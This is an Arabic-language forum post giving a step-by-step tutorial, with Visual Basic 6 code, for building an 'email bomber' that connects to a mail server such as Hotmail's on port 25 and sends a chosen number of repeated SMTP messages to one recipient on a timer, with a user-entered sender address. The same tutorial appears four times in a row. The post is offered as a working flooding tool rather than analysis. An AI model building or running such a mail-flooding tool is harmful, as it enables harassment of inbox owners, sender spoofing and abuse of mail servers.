منتديات الملك ميدو
أهلا وسهلا بك زائرنا الكريم، إذا كانت هذه زيارتك الأولى للمنتدى، فيرجى التكرم بزيارة صفحة التعليمـــات، . كما يشرفنا أن تقوم بالتسجيل . بالضغط هنا إذا رغبت بالمشاركة في المنتدى، أما إذا رغبت بقراءة المواضيع والإطلاع فتفضل بزيارة القسم الذي ترغب أدناه.
شرح برنامج ضرب ايميلات بالفيجوال بيسك6 Ezlb9t10
منتديات الملك ميدو
أهلا وسهلا بك زائرنا الكريم، إذا كانت هذه زيارتك الأولى للمنتدى، فيرجى التكرم بزيارة صفحة التعليمـــات، . كما يشرفنا أن تقوم بالتسجيل . بالضغط هنا إذا رغبت بالمشاركة في المنتدى، أما إذا رغبت بقراءة المواضيع والإطلاع فتفضل بزيارة القسم الذي ترغب أدناه.
شرح برنامج ضرب ايميلات بالفيجوال بيسك6 Ezlb9t10
منتديات الملك ميدو
هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.


منتديات الملك ميدو
 
الرئيسيةأحدث الصورالتسجيلدخولمدونه المنتدىمركز رفع الملفاتمنتديات الملك ميدو
عند وجود اى استفسارات او اقتراحات يرجى مراسله الاداره على Elmalak_medo99@yahoo.com


 

 شرح برنامج ضرب ايميلات بالفيجوال بيسك6

اذهب الى الأسفل 
كاتب الموضوعرسالة
المافيا
عضو برونزى
عضو برونزى



الجنس : شرح برنامج ضرب ايميلات بالفيجوال بيسك6 I_icon_gender_male عدد المساهمات : 18
نقاط : 51980
تاريخ التسجيل : 18/02/2010

شرح برنامج ضرب ايميلات بالفيجوال بيسك6 Empty
مُساهمةموضوع: شرح برنامج ضرب ايميلات بالفيجوال بيسك6   شرح برنامج ضرب ايميلات بالفيجوال بيسك6 Emptyالخميس 18 فبراير - 11:41

السلام عليكم ورحمة الله وبركاته


بسم الله الرحمن الرحيم

اليوم راح نتعلم كيف عمل برنامج ضرب ايميلات بالفيجوال بيسك...

يلله نبدأ..
ملاحظة : لتطبيق هذا الدرس عليك أن تتقن لغة الفيجوال بيسك
بسم الله الرحمن الرحيم

لصنع برنامج ضرب إيميلات نحتاج إلى التالي :


* فورم1 - أداة Winsock - و Timer
نضع داخل الفورم:
- مربع نص ونضع لكل مربع نص ليبل لتعريفه
ليبل 1 : المضيف ( مثل mail.hotmail.com )
ليبل 2 : المرسل
ليبل 3 : المستقبل
ليبل 4 : العنوان
ليبل 5 : النص ( ويكون هذا المربع كبير واجعل خاصية multline = True )
ليبل 6 : عدد الرسائل المراد ارسالها .

- أزرار (3)
الأول : بدء الضرب
الثاني : إيقاف الضرب
الثالث : اغلاق

والآن لنضع الأكواد :

عند بدء الضرب سيتم الاتصال عبر الوينسوك بالمضيف بالكود التالي:
Winsock1.connect text1 , 25
ملاحظة : هكذا سيتصل بالمضيف الخاص بالهوتميل والرقم هو منفذ الإرسال.
الآن سوف يتم الاتصال بمضيف الهوتميل

وللتأكد من الإتصال سوف نجعل عملية الإرسال تبدأ حين وصول رد المضيف :
اضغط على أداة الوينسوك مرتين واذهب إلى الحدث DataArrival
واكتب فيها :
timer1.enabled = True
وعليك جعل خاصية enabled في التيمر = False
والآن سنذهب للتيمر
عمل التيمر هو ارسال الرسائل للبريد ، وسوف يتم تكراره إلى أن يكتمل عدد الرسائل ، وسرعته لا يجب أن تزيد إلا مع الاتصال السريع ، ومع الاتصال المتوسط سوف نجعله يرسل كل نصف ثانية (500)

وهذا هو كود إرسال الرسائل:


Winsock1.SendData "MAIL FROM:" & text2 & vbNewLine
Winsock1.SendData "RCPT TO:" & Text3 & vbNewLine
Winsock1.SendData "DATA" & vbNewLine
Dim MSG As String
MSG = "From:" & Text2 & vbNewLine & "Date: " & _
Now & vbNewLine & "To:" & Text3 & vbNewLine & _
"Subject: " & Text4 & vbNewLine & vbNewLine & _
Text5 & vbNewLine
Winsock1.SendData MSG
Winsock1.SendData vbNewLine & vbNewLine & "." & vbNewLine & vbNewLine

وهكذا فإن البرنامج سوف يستمر بالضرب دون توقف ، ولإيقافه تحتاج لهذا الكود في التيمر
Dr = Dr + 1
if Dr = Text6 Then
timer1.enabled = false
end if
وضع داخل الحدث Form load التالي :
Dr = 0
وداخل مديول التالي :
Public Dr as long

هذا هو برنامج ضرب الإيميل ، أصبح بين يديك
ملاحظة : لتطبيق هذا الدرس عليك أن تتقن لغة الفيجوال بيزيك .
بسم الله الرحمن الرحيم

لصنع برنامج ضرب إيميلات نحتاج إلى التالي :
* فورم1 - أداة Winsock - و Timer
نضع داخل الفورم:
- مربع نص ونضع لكل مربع نص ليبل لتعريفه
ليبل 1 : المضيف ( مثل mail.hotmail.com )
ليبل 2 : المرسل
ليبل 3 : المستقبل
ليبل 4 : العنوان
ليبل 5 : النص ( ويكون هذا المربع كبير واجعل خاصية multline = True )
ليبل 6 : عدد الرسائل المراد ارسالها .

- أزرار (3)
الأول : بدء الضرب
الثاني : إيقاف الضرب
الثالث : اغلاق

والآن لنضع الأكواد :

عند بدء الضرب سيتم الاتصال عبر الوينسوك بالمضيف بالكود التالي:
Winsock1.connect text1 , 25
ملاحظة : هكذا سيتصل بالمضيف الخاص بالهوتميل والرقم هو منفذ الإرسال.
الآن سوف يتم الاتصال بمضيف الهوتميل

وللتأكد من الإتصال سوف نجعل عملية الإرسال تبدأ حين وصول رد المضيف :
اضغط على أداة الوينسوك مرتين واذهب إلى الحدث DataArrival
واكتب فيها :
timer1.enabled = True
وعليك جعل خاصية enabled في التيمر = False
والآن سنذهب للتيمر
عمل التيمر هو ارسال الرسائل للبريد ، وسوف يتم تكراره إلى أن يكتمل عدد الرسائل ، وسرعته لا يجب أن تزيد إلا مع الاتصال السريع ، ومع الاتصال المتوسط سوف نجعله يرسل كل نصف ثانية (500)

وهذا هو كود إرسال الرسائل:


Winsock1.SendData "MAIL FROM:" & text2 & vbNewLine
Winsock1.SendData "RCPT TO:" & Text3 & vbNewLine
Winsock1.SendData "DATA" & vbNewLine
Dim MSG As String
MSG = "From:" & Text2 & vbNewLine & "Date: " & _
Now & vbNewLine & "To:" & Text3 & vbNewLine & _
"Subject: " & Text4 & vbNewLine & vbNewLine & _
Text5 & vbNewLine
Winsock1.SendData MSG
Winsock1.SendData vbNewLine & vbNewLine & "." & vbNewLine & vbNewLine

وهكذا فإن البرنامج سوف يستمر بالضرب دون توقف ، ولإيقافه تحتاج لهذا الكود في التيمر
Dr = Dr + 1
if Dr = Text6 Then
timer1.enabled = false
end if
وضع داخل الحدث Form load التالي :
Dr = 0
وداخل مديول التالي :
Public Dr as long

هذا هو برنامج ضرب الإيميل ، أصبح بين يديك
ملاحظة : لتطبيق هذا الدرس عليك أن تتقن لغة الفيجوال بيزيك .
بسم الله الرحمن الرحيم

لصنع برنامج ضرب إيميلات نحتاج إلى التالي :
* فورم1 - أداة Winsock - و Timer
نضع داخل الفورم:
- مربع نص ونضع لكل مربع نص ليبل لتعريفه
ليبل 1 : المضيف ( مثل mail.hotmail.com )
ليبل 2 : المرسل
ليبل 3 : المستقبل
ليبل 4 : العنوان
ليبل 5 : النص ( ويكون هذا المربع كبير واجعل خاصية multline = True )
ليبل 6 : عدد الرسائل المراد ارسالها .

- أزرار (3)
الأول : بدء الضرب
الثاني : إيقاف الضرب
الثالث : اغلاق

والآن لنضع الأكواد :

عند بدء الضرب سيتم الاتصال عبر الوينسوك بالمضيف بالكود التالي:
Winsock1.connect text1 , 25
ملاحظة : هكذا سيتصل بالمضيف الخاص بالهوتميل والرقم هو منفذ الإرسال.
الآن سوف يتم الاتصال بمضيف الهوتميل

وللتأكد من الإتصال سوف نجعل عملية الإرسال تبدأ حين وصول رد المضيف :
اضغط على أداة الوينسوك مرتين واذهب إلى الحدث DataArrival
واكتب فيها :
timer1.enabled = True
وعليك جعل خاصية enabled في التيمر = False
والآن سنذهب للتيمر
عمل التيمر هو ارسال الرسائل للبريد ، وسوف يتم تكراره إلى أن يكتمل عدد الرسائل ، وسرعته لا يجب أن تزيد إلا مع الاتصال السريع ، ومع الاتصال المتوسط سوف نجعله يرسل كل نصف ثانية (500)

وهذا هو كود إرسال الرسائل:


Winsock1.SendData "MAIL FROM:" & text2 & vbNewLine
Winsock1.SendData "RCPT TO:" & Text3 & vbNewLine
Winsock1.SendData "DATA" & vbNewLine
Dim MSG As String
MSG = "From:" & Text2 & vbNewLine & "Date: " & _
Now & vbNewLine & "To:" & Text3 & vbNewLine & _
"Subject: " & Text4 & vbNewLine & vbNewLine & _
Text5 & vbNewLine
Winsock1.SendData MSG
Winsock1.SendData vbNewLine & vbNewLine & "." & vbNewLine & vbNewLine

وهكذا فإن البرنامج سوف يستمر بالضرب دون توقف ، ولإيقافه تحتاج لهذا الكود في التيمر
Dr = Dr + 1
if Dr = Text6 Then
timer1.enabled = false
end if
وضع داخل الحدث Form load التالي :
Dr = 0
وداخل مديول التالي :
Public Dr as long

هذا هو برنامج ضرب الإيميل ، أصبح بين يديك
ملاحظة : لتطبيق هذا الدرس عليك أن تتقن لغة الفيجوال بيزيك .
بسم الله الرحمن الرحيم

لصنع برنامج ضرب إيميلات نحتاج إلى التالي :
* فورم1 - أداة Winsock - و Timer
نضع داخل الفورم:
- مربع نص ونضع لكل مربع نص ليبل لتعريفه
ليبل 1 : المضيف ( مثل mail.hotmail.com )
ليبل 2 : المرسل
ليبل 3 : المستقبل
ليبل 4 : العنوان
ليبل 5 : النص ( ويكون هذا المربع كبير واجعل خاصية multline = True )
ليبل 6 : عدد الرسائل المراد ارسالها .

- أزرار (3)
الأول : بدء الضرب
الثاني : إيقاف الضرب
الثالث : اغلاق

والآن لنضع الأكواد :

عند بدء الضرب سيتم الاتصال عبر الوينسوك بالمضيف بالكود التالي:
Winsock1.connect text1 , 25
ملاحظة : هكذا سيتصل بالمضيف الخاص بالهوتميل والرقم هو منفذ الإرسال.
الآن سوف يتم الاتصال بمضيف الهوتميل

وللتأكد من الإتصال سوف نجعل عملية الإرسال تبدأ حين وصول رد المضيف :
اضغط على أداة الوينسوك مرتين واذهب إلى الحدث DataArrival
واكتب فيها :
timer1.enabled = True
وعليك جعل خاصية enabled في التيمر = False
والآن سنذهب للتيمر
عمل التيمر هو ارسال الرسائل للبريد ، وسوف يتم تكراره إلى أن يكتمل عدد الرسائل ، وسرعته لا يجب أن تزيد إلا مع الاتصال السريع ، ومع الاتصال المتوسط سوف نجعله يرسل كل نصف ثانية (500)

وهذا هو كود إرسال الرسائل:


Winsock1.SendData "MAIL FROM:" & text2 & vbNewLine
Winsock1.SendData "RCPT TO:" & Text3 & vbNewLine
Winsock1.SendData "DATA" & vbNewLine
Dim MSG As String
MSG = "From:" & Text2 & vbNewLine & "Date: " & _
Now & vbNewLine & "To:" & Text3 & vbNewLine & _
"Subject: " & Text4 & vbNewLine & vbNewLine & _
Text5 & vbNewLine
Winsock1.SendData MSG
Winsock1.SendData vbNewLine & vbNewLine & "." & vbNewLine & vbNewLine

وهكذا فإن البرنامج سوف يستمر بالضرب دون توقف ، ولإيقافه تحتاج لهذا الكود في التيمر
Dr = Dr + 1
if Dr = Text6 Then
timer1.enabled = false
end if
وضع داخل الحدث Form load التالي :
Dr = 0
وداخل مديول التالي :
Public Dr as long

هذا هو برنامج ضرب الإيميل ، أصبح بين يديك

ooiu
rr
الرجوع الى أعلى الصفحة اذهب الى الأسفل
 
شرح برنامج ضرب ايميلات بالفيجوال بيسك6
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منتديات الملك ميدو :: الكمبيوتر والانترنت :: منتدى Programming Languages-
انتقل الى: